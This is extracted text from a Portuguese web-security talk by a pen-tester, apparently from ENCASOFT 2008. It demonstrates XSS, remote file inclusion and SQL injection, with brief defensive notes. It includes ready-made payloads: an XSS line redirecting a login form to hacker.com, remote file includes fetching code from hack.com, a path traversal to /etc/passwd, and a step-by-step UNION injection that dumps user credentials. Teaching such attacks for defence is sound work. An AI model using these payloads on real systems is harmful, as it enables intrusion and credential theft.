Maycon Maia Vitali ( 0ut0fBound ) mayconmaia@yahoo.com.br
Sobre o palestrante Pra que segurança? Ataques de Cross-Site-Script (XSS) Ataques de File Include Ataques de SQL Injection Mecanismos de proteção (funcionam?) Ataques planejados (avançado) Técnicas de evasão Exemplos reais
Maycon Maia Vitali Graduando em Ciência da Computação no Centro Universitário Vila Velha Não possui certificação Microsoft Não possui certificação Linux Não possui certificação Java Não possui certificação em Bando de Dados Não possui certificação em Redes Não possui certificação em Segurança da Informação
Autodidata em segurança da informação; Analista Pen-test (free-lancer) para diversas empresas/tigers Team; Escritor de artigos técnicos envolvendo segurança da informação; Palestrantes em diversos eventos tecnológico como H2HC, Encasoft, Code Breakers Meeting, etc; Desenvolvedor de ferramentas de auditoria de segurança; Também conhecido como 0ut0fBound.
Escrita de exploits Escrita e otimização de shellcodes Ataques web Técnicas de evasão Engenharia Reversa (análise de malwares) Sistemas de Detecção de Intrusão Qualquer coisa que tenha Baixaria
Por prazer (hobby) Necessidade pessoal ou corporativa Para estar um passo a frente (contra 0-day) Hack n Roll Maldita inclusão digital Se uma coisa pode dar errada de 4 maneiras possíveis e você consegue driblar as 4, quer dizer que na verdade eram 5 - Murphy
Citação 1 Toda entrada é mal intencionada até que se provém ao contrário Citação 2 O sistema esta seguro até que se provem ao contrário
Permite ao atacante executar código Client-Side (JavaScript?) no browser da vítima Impacto irrelevante em ataques não planejados Trabalho em conjunto com Engenharia Social (Porque não existe patch pra estupidez humana) Com sucesso absoluto, permite fazer Session Hijacking
Variável busca não passar por nenhum tipo de filtro ou tratamento antes de retornar ao navegador do usuário Para sucesso o ataque deve ser planejado e com Engenharia Social
http:/www.empresa.com/busca.php?busca=< script>document.frmlogin.action= http://ww w.hacker.com/fake_login.php </script> Session Hijacking XMLHttpRequest (Ajax?) é seu amigo!!
Solução de detecção/prevenção de intrusão Snort ( qualquer dúvida fale com Sp0oker ) Investir em desenvolvimento seguro
Também conhecida por PHP Injection Consiste em alterar o valor de variáveis que são passadas como parâmetros para a função include(_once) ou require(_once) Impacto significante no servidor; Por causa de uma falha todo o servidor pode ser comprometido;
http://www.site.com.br/index.php?pagina=historia http://www.site.com.br/index.php?pagina=contato
Efetua Ataque GET b4d_c0de.txt Hack n Roll Código Maléfico Servidor da Empresa Servidor do Atacante
/index.php?pagina=http://www.hack.com/b4d_c0 de.txt? &cmd=id http://www.hack.com/b4d_c0de.txt?.php
Filtrar assinaturas de ataques.
Filtrar assinaturas de ataques. pagina=http://www.hack.com/b4d_c0de.txt?
Filtrar assinaturas de ataques.
Filtrar assinaturas de ataques. pagina=https://www.hack.com/b4d_c0de.txt? pagina=ftp://ftp.hack.com/b4d_c0de.txt%00
Filtrar assinaturas de ataques.
Filtrar assinaturas de ataques. pagina=\\samba_hacker\b4d_c0de.txt%00
HTTP and HTTPS FTP and FTPS PHP input/output streams Compression Streams Data (RFC 2397) Glob Secure Shell 2 Audio Streams Process Interaction Streams
http://br2.php.net/manual/en/filesystem.con figuration.php#ini.allow-url-fopen allow_url_fopen=off
http://br2.php.net/manual/en/filesystem.con figuration.php#ini.allow-url-fopen allow_url_fopen=off pagina=../../../../../etc/passwd%00
Existem outras soluções boas e seguras.
Ocorre quando é possível inserir (injetar) códigos SQL em uma aplicação a partir de informações fornecidas pelo usuário Permite ler dados sensíveis do Banco de Dados Permite modificar dados do Banco de Dados (insert/delete/update) Permite executar comandos administrativos do Banco de Dados (ex: shutdown) Em alguns casos, permite executar comandos no Sistema Operacional.
Como o valor digitado não passou por nenhum tipo de filtro um atacante pode injetar códigos SQL alterando a lógica da consulta.
Usuário: or = Senha: or =
Usuário: UNION SELECT hacker, h4ck3r Senha: h4ck3r Senha Usuário A primeira consulta não retorna nenhum registro enquanto a segunda retorna um registro criado na mão.
Função addslashes() Configuração magic_quotes (DEPRECATED and REMOVED as of PHP 6.0.0) Será o FIM dos ataques de SQL Injection?
Toda entrada é mal intencionada Planejamento para um ataque complexo Blind SQL Injection Dump do Banco de Dados Saber programação e conhecimento do protocolo HTTP ajuda muito!! Utilização de ferramentas auxiliares ( nada de clique e invada ) Você não foi o programador (designer?), logo não sabe como está estruturado
Fazer a enumeração dos possíveis links e suas variáveis www.empresa.com.br/noticias.php?id=2871 www.empresa.com.br/busca.php?chave=oi&pag=2 www.empresa.com.br/noticia/2871/titulo-noticia Em casos de perfumarias (ajax?) ferramentas como FireBug e WebDeveloper podem auxiliar
Levantar se alguns dos campos possui uma vulnerabilidade de SQL Injection: www.empresa.com.br/noticias.php?id=2871 www.empresa.com.br/noticias.php?id=2870+1 www.empresa.com.br/noticias.php?id=2871 www.empresa.com.br/noticias.php?id=2871 -- www.empresa.com.br/noticias.php?id=2871 www.empresa.com.br/noticias.php?id=2871) -- Não retornar um aviso de campo inválido ou tentativa de invasão(?) sugere a possibilidade de uma falha.
/noticias.php?id=2871 order by 50 -- /noticias.php?id=2871 order by 25 -- /noticias.php?id=2871 order by 12 -- /noticias.php?id=2871 order by 19 -- /noticias.php?id=2871 order by 15 -- /noticias.php?id=2871 order by 13 -- /noticias.php?id=2871 order by 14 -- Errado Errado Certo Errado Errado Certo Errado Total de colunas na consulta original: 13
/noticias.php?id=0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13 -- ENCASOFT 2008 Leomar V. A Linux-ES, comunidade de usuários de Software Livre do Espírito Santo, tem o prazer de anunciar a quarta edição do Encontro Capixaba de Software Livre ENCASOFT 2008. O evento será realizado nos dias 10 e 11 de outubro (sexta e sábado), no Centro Universitário Vila-Velha (UVV), Vila-Velha-ES. 3 6 7
Já temos um vetor de ataque. Já sabemos quantas colunas a consulta possui. Já sabemos quais colunas são visíveis. O que falta? Nomes de tabelas e nomes de campos Como conseguir? Brute-Force (usuarios, tb_usuarios, logins, acesso, etc) INFORMATION_SCHEMA é seu melhor amigo.
/noticias.php?id=0 union select 1, 2, TABLE_NAME, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13 FROM INFORMATION_SCHEMA.TABLES -- /noticias.php?id=0 union select 1, 2, TABLE_NAME, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ( tab_noticia ) -- tab_noticia 6 7 tab_newsletter 6 7
/noticias.php?id=0 union select 1, 2, TABLE_NAME, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (CHAR(116, 98, 95, 110, 111, 116, 105, 99, 105, 97)) -- Char ASCii t 116 b 98 _ 95 n 110 o 111 t 116 i 105 c 99 i 105 a 97 tab_newsletter 6 7
/noticias.php?id=0 union select 1, 2, TABLE_NAME, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE %usu% -- tab_usuario 6 7
/noticias.php?id=0 union select 1, 2, COLUMN_NAME, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13 from INFORMATION_SCHEMA.COLUNMS where TABLE_NAME = tb_usuario -- /noticias.php?id=0 union select 1, 2, COLUMN_NAME, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13 from INFORMATION_SCHEMA.COLUNMS where TABLE_NAME = tb_usuario and COLUMN_NAME not in ( usu_id ) -- usu_id 6 7 usu_login 6 7
/noticias.php?id=0 union select 1, 2, TABLE_NAME, 4, 5, 6, COLUMN_NAME, 8, 9, 10, 11, 12, 13 from INFORMATION_SCHEMA.COLUNMS where COLUMN_NAME like %senha% -- tb_usuario 6 usu_senha
Tendo o nome da tabela e seus respectivos campos de login/senha: /noticias.php?id=0 union select 1, 2, usu_login, 4, 5, 6, usu_senha, 8, 9, 10, 11, 12, 13 from tb_usuarios -- admin 6 123456
Duas linhas de código em troca de muuuuita muuuita dor de cabeça, perda de dinheiro e de clientes.
Verificar por triggers ou store procedures que facilitem o trabalho; Verifiquem que nível de permissão possui (xp.dbo.cmd_shell é seu amigo); Procure por outros vetores de ataques, visto que falhas com listagem de resposta viabiliza mais o sucesso e em menos tempo; No caso de brute-force tente procurar por padrões;
Maycon Maia Vitali ( 0ut0fBound ) mayconmaia@yahoo.com.br